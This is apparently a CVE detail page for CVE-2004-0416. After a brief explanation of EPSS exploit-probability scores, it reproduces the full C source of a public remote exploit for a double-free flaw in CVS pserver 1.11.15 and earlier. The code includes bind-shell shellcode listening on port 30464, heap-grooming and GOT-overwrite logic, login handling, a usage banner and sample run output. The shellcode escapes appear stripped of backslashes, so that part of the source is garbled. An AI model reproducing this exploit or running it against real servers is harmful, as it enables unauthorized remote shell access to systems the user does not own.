CVE-2004-0416 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* Remote CVS <= 1.11.15 exploit for the error_prog_name double free vuln. * * by Gyan Chawdhary, gunnu45@hotmail.com * * Vulnerability Description: * * The Vulnerability lies in the serve_argumentx function. The Argumentx command * parameter is used to append data to a previously supplied Argument command. * These data pointers are stored in the argument_vector array. The * serve_argumentx fails to check wether an Argument command is present in the * argument_vector and may append data to a pointer that should not get * touched at all, in our case the *error_prog_name string. The function calls * realloc to create space for the new string. Because realloc will be called * to store strlen(error_prog_name) + strlen(somedata) the original chunk which * just stores error_prog_name will get freed. This free chunk will once again * get freed after we disconnect from the CVS pserver. * * Theory: * * Sucessful exploitation depends heavily on a specific heap layout to be met. * The argument_vector is initialized for holding 3 ptrs. If more space is * required it will call realloc. The error_prog_name string resides right * after the argument_vector chunk. * * |11| arg_vector |11| error_prog_name |109| some chunk * * address of error_prog_name is stored in the argument_vector[0]. * * To achive sucessfull exploitation the following steps are performed. * * 1) Send Argumentx command with a large argument to reallocate error_prog_name * + large command on top of the heap. This will free the original * error_prog_name buffer. * * 2) Send 50 Argument calls which will require the argument_vector array to be * reallocated freeing the current buffer. We keep this a high number to get * mem from the top itself and to make the exploit reliable. As both the * original the arg_vector & err_prg_name buffers are free they are * consolidated. Also we supply our fake chunk and shellcode in this call. * * 3) Send an argument command with the size & prevsize as its arguments. This * will now be stored in arg_vector & err_prg_name consolidated buffer. * * 4) Once we close the connection free will be called on the error_prog_name * string which will read our fake size & prev_size fields pointing to the fake * chunk , executing our shellcode. * * Phew !!!! * * NOTES: Iv tried this exp on RH 8 with glibc 2.3.*. This exp did NOT work on * my slack 8.0 cause of glibc 2.2 which creates a very different heap layout. * Also some tweaking will be required to use this exploit remotely as sometimes * the overwritten GOT does not execute due to early drop in the connection .. * Please someone figure it out n mail me :) .. * * Now the exploit * * FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL * PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR * EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE ONLY FOR EDUCATIONAL PURPOSE * * Greets: jp - for his cool paper on advanced malloc exploits, and the heapy.so * jaguar@felinemenace - We at ... :P * * cya * * Gyan */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> char shellcode[] = "xebx18" "AAAAAAAAAAAAAAAAAAAAAAAA" "x31xc0" // xorl %eax,%eax "x31xdb" // xorl %ebx,%ebx "x31xc9" // xorl %ecx,%ecx "x31xd2" // xorl %edx,%edx "xb0x66" // movb $0x66,%al "xb3x01" // movb $0x1,%bl "x51" // pushl %ecx "xb1x06" // movb $0x6,%cl "x51" // pushl %ecx "xb1x01" // movb $0x1,%cl "x51" // pushl %ecx "xb1x02" // movb $0x2,%cl "x51" // pushl %ecx "x8dx0cx24" // leal (%esp),%ecx "xcdx80" // int $0x80 /* port is 30464 !!! */ /* bind(fd, (struct sockaddr)&sin, sizeof(sin) ) */ "xb3x02" // movb $0x2,%bl "xb1x02" // movb $0x2,%cl "x31xc9" // xorl %ecx,%ecx "x51" // pushl %ecx "x51" // pushl %ecx "x51" // pushl %ecx /* port = 0x77, change if needed */ "x80xc1x77" // addb $0x77,%cl "x66x51" // pushl %cx "xb1x02" // movb $0x2,%cl "x66x51" // pushw %cx "x8dx0cx24" // leal (%esp),%ecx "xb2x10" // movb $0x10,%dl "x52" // pushl %edx "x51" // pushl %ecx "x50" // pushl %eax "x8dx0cx24" // leal (%esp),%ecx "x89xc2" // movl %eax,%edx "x31xc0" // xorl %eax,%eax "xb0x66" // movb $0x66,%al "xcdx80" // int $0x80 /* listen(fd, 1) */ "xb3x01" // movb $0x1,%bl "x53" // pushl %ebx "x52" // pushl %edx "x8dx0cx24" // leal (%esp),%ecx "x31xc0" // xorl %eax,%eax "xb0x66" // movb $0x66,%al "x80xc3x03" // addb $0x3,%bl "xcdx80" // int $0x80 /* cli = accept(fd, 0, 0) */ "x31xc0" // xorl %eax,%eax "x50" // pushl %eax "x50" // pushl %eax "x52" // pushl %edx "x8dx0cx24" // leal (%esp),%ecx "xb3x05" // movl $0x5,%bl "xb0x66" // movl $0x66,%al "xcdx80" // int $0x80 /* dup2(cli, 0) */ "x89xc3" // movl %eax,%ebx "x31xc9" // xorl %ecx,%ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movb $0x3f,%al "xcdx80" // int $0x80 /* dup2(cli, 1) */ "x41" // inc %ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movl $0x3f,%al "xcdx80" // int $0x80 /* dup2(cli, 2) */ "x41" // inc %ecx "x31xc0" // xorl %eax,%eax "xb0x3f" // movb $0x3f,%al "xcdx80" // int $0x80 /* execve("//bin/sh", ["//bin/sh", NULL], NULL); */ "x31xdb" // xorl %ebx,%ebx "x53" // pushl %ebx "x68x6ex2fx73x68" // pushl $0x68732f6e "x68x2fx2fx62x69" // pushl $0x69622f2f "x89xe3" // movl %esp,%ebx "x8dx54x24x08" // leal 0x8(%esp),%edx "x31xc9" // xorl %ecx,%ecx "x51" // pushl %ecx "x53" // pushl %ebx "x8dx0cx24" // leal (%esp),%ecx "x31xc0" // xorl %eax,%eax "xb0x0b" // movb $0xb,%al "xcdx80" // int $0x80 /* exit(%ebx) */ "x31xc0" // xorl %eax,%eax "xb0x01" // movb $0x1,%al "xcdx80"; // int $0x80 void login(char *, char *, char *); struct sockaddr_in s; int sock; void xp_connect(char *ip) { char buffer[1024]; char temp[1024]; int tmp; s.sin_family = AF_INET; s.sin_port = htons(2401); s.sin_addr.s_addr = inet_addr(ip); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Cannot create socketn"); exit(-1); } if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0) { printf("Cannot connect()n"); exit(-1); } } void xp_write(char *data) { if(write (sock, data, strlen(data)) < 0) { printf("write() failedn"); exit(-1); } } void xp_receive() { int tmp; char buffer[1024*2]; if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0) { printf("read() failedn"); exit(-1); } printf("%s", buffer); } #define GOT_MEMCPY 0x80d2b4a #define SHELL_ADDR 0x080cda20 char *egg(unsigned int what, unsigned int where) { char *ptr, *buf; int i=0; //dummy = 0xfffffffc; int size = strlen(shellcode); // Will contain our fake chunk supplided with our fd & bk fields, // addr of shellcode & got addr - 8 of free(). We will also try to // stuff in our shellcode in the same buffer as I dont have enough // gdb patience/time to find nother controlable buffer :P buf = (char *)malloc(1250); ptr = buf; for (;i<1248;) { *( (int **)ptr ) = (int *)( where - 8 ); ptr+=4; *( (int **)ptr ) = (int *)( what ); ptr+=4; i+=8; } buf[1250] = ''; ptr -= size; strcpy(ptr, shellcode); ptr = buf; return ptr; } unsigned char shifts[] = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 114,120, 53, 79, 96,109, 72,108, 70, 64, 76, 67,116, 74, 68, 87, 111, 52, 75,119, 49, 34, 82, 81, 95, 65,112, 86,118,110,122,105, 41, 57, 83, 43, 46,102, 40, 89, 38,103, 45, 50, 42,123, 91, 35, 125, 55, 54, 66,124,126, 59, 47, 92, 71,115, 78, 88,107,106, 56, 36,121,117,104,101,100, 69, 73, 99, 63, 94, 93, 39, 37, 61, 48, 58,113, 32, 90, 44, 98, 60, 51, 33, 97, 62, 77, 84, 80, 85,223, 225,216,187,166,229,189,222,188,141,249,148,200,184,136,248,190, 199,170,181,204,138,232,218,183,255,234,220,247,213,203,226,193, 174,172,228,252,217,201,131,230,197,211,145,238,161,179,160,212, 207,221,254,173,202,146,224,151,140,196,205,130,135,133,143,246, 192,159,244,239,185,168,215,144,139,165,180,157,147,186,214,176, 227,231,219,169,175,156,206,198,129,164,150,210,154,177,134,127, 182,128,158,208,162,132,167,209,149,241,153,251,237,236,171,195, 243,233,253,240,194,250,191,155,142,137,245,235,163,242,178,152 }; char *scramble(char * str) { int i; char * s; s = (char *) malloc (strlen (str) + 3); memset(s, '', strlen(str) + 3); *s = 'A'; for (i = 1; str[i - 1]; i++) s = shifts[(unsigned char)(str[i - 1])]; return (s); } #define LOGIN "BEGIN AUTH REQUESTn/home/cvsrootn%sn%snEND AUTH REQUESTn" #define REQUEST "Root %sn" void login(char *login, char *password, char *repo) { char *buf, *ptr, reply[1024]; char *rep, *rp; buf = (char *)malloc(1024); rep = (char *)malloc(512); ptr = buf; rp = rep; sprintf(ptr, LOGIN, login, scramble(password)); sprintf(rp, REQUEST, repo); ptr = buf; xp_write(ptr); /* login request */ xp_receive(); xp_write(rp); /* root dir request */ } char argumentx[] = "Argumentx %sn"; char argument[] = "Argument %sn"; char trash[] = "FCUK"; char str[] = "Argument x42x42x42x42x6exffxffxffx1cxfcxffxff" "xf0xffxffxffx41x41n"; void overflow() { char *data, *dptr, *buf, *bufp, *eg, *arg, *aptr; int i; data = (char *)malloc(111111); dptr = data; buf = (char *)malloc(111111+20); bufp = buf; arg = (char *)malloc(1500); aptr = arg; memset(dptr, 'x41', 111111); sprintf(bufp, argumentx, data); xp_write(bufp); eg = egg(0x80d2b4a, 0x080cda20); sprintf(aptr, argument, eg); for (i=0 ; i<50; i++) xp_write(aptr); xp_write(str); xp_write(trash); } void usage(char *name) { printf("CVS <= 1.11.15 Argumentx double free() remote exploit by Gyan" "Chawdhary (gunnu45@hotmail.com)n" "Usage: %s <options>n" "-i <target IP address>n" "-l <login>n" "-p <password>n" "-r <repository path>nn", name); } main(int argc, char **argv) { int c; char ip[16], user[32], pass[32], rep[512]; ip[0] = 0; user[0] = 0; pass[0] = 0; rep[0] = 0; if (argc < 2) { usage(argv[0]); exit(0); } while ((c = getopt(argc, argv, "h::l:p:i:r:")) != -1) { switch(c) { case 'h': usage(argv[0]); exit(0); case 'i': strncpy(ip, optarg, sizeof(ip)); break; case 'l': strncpy(user, optarg, sizeof(user)); break; case 'p': strncpy(pass, optarg, sizeof(pass)); break; case 'r': strncpy(rep, optarg, sizeof(rep)); break; } } if(ip) { printf("Connecting to vulnerable CVS server ..."); xp_connect(ip); printf("OKn"); } printf("Logging in ..."); login(user, pass, rep); printf("OKn"); printf("Exploiting the CVS error_prog_name double free now ..."); overflow(); printf("DONEn"); printf("If everything went well there should be a shell on port 30464n"); } //xp_connect("127.0.0.1"); //sleep(20); //login("gyan", "gyan"); //overflow(shellcode); /* [root@ill crazy]# ./free -i 127.0.0.1 -l gyan -p gyan -r /home/cvsroot Connecting to vulnerable CVS server ...OK Logging in ...I LOVE YOU OK Exploiting the CVS error_prog_name double free now ...DONE If everything went well there should be a shell on port 30464 [root@ill crazy]# telnet 127.0.0.1 30464 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. */ // milw0rm.com [2004-08-13]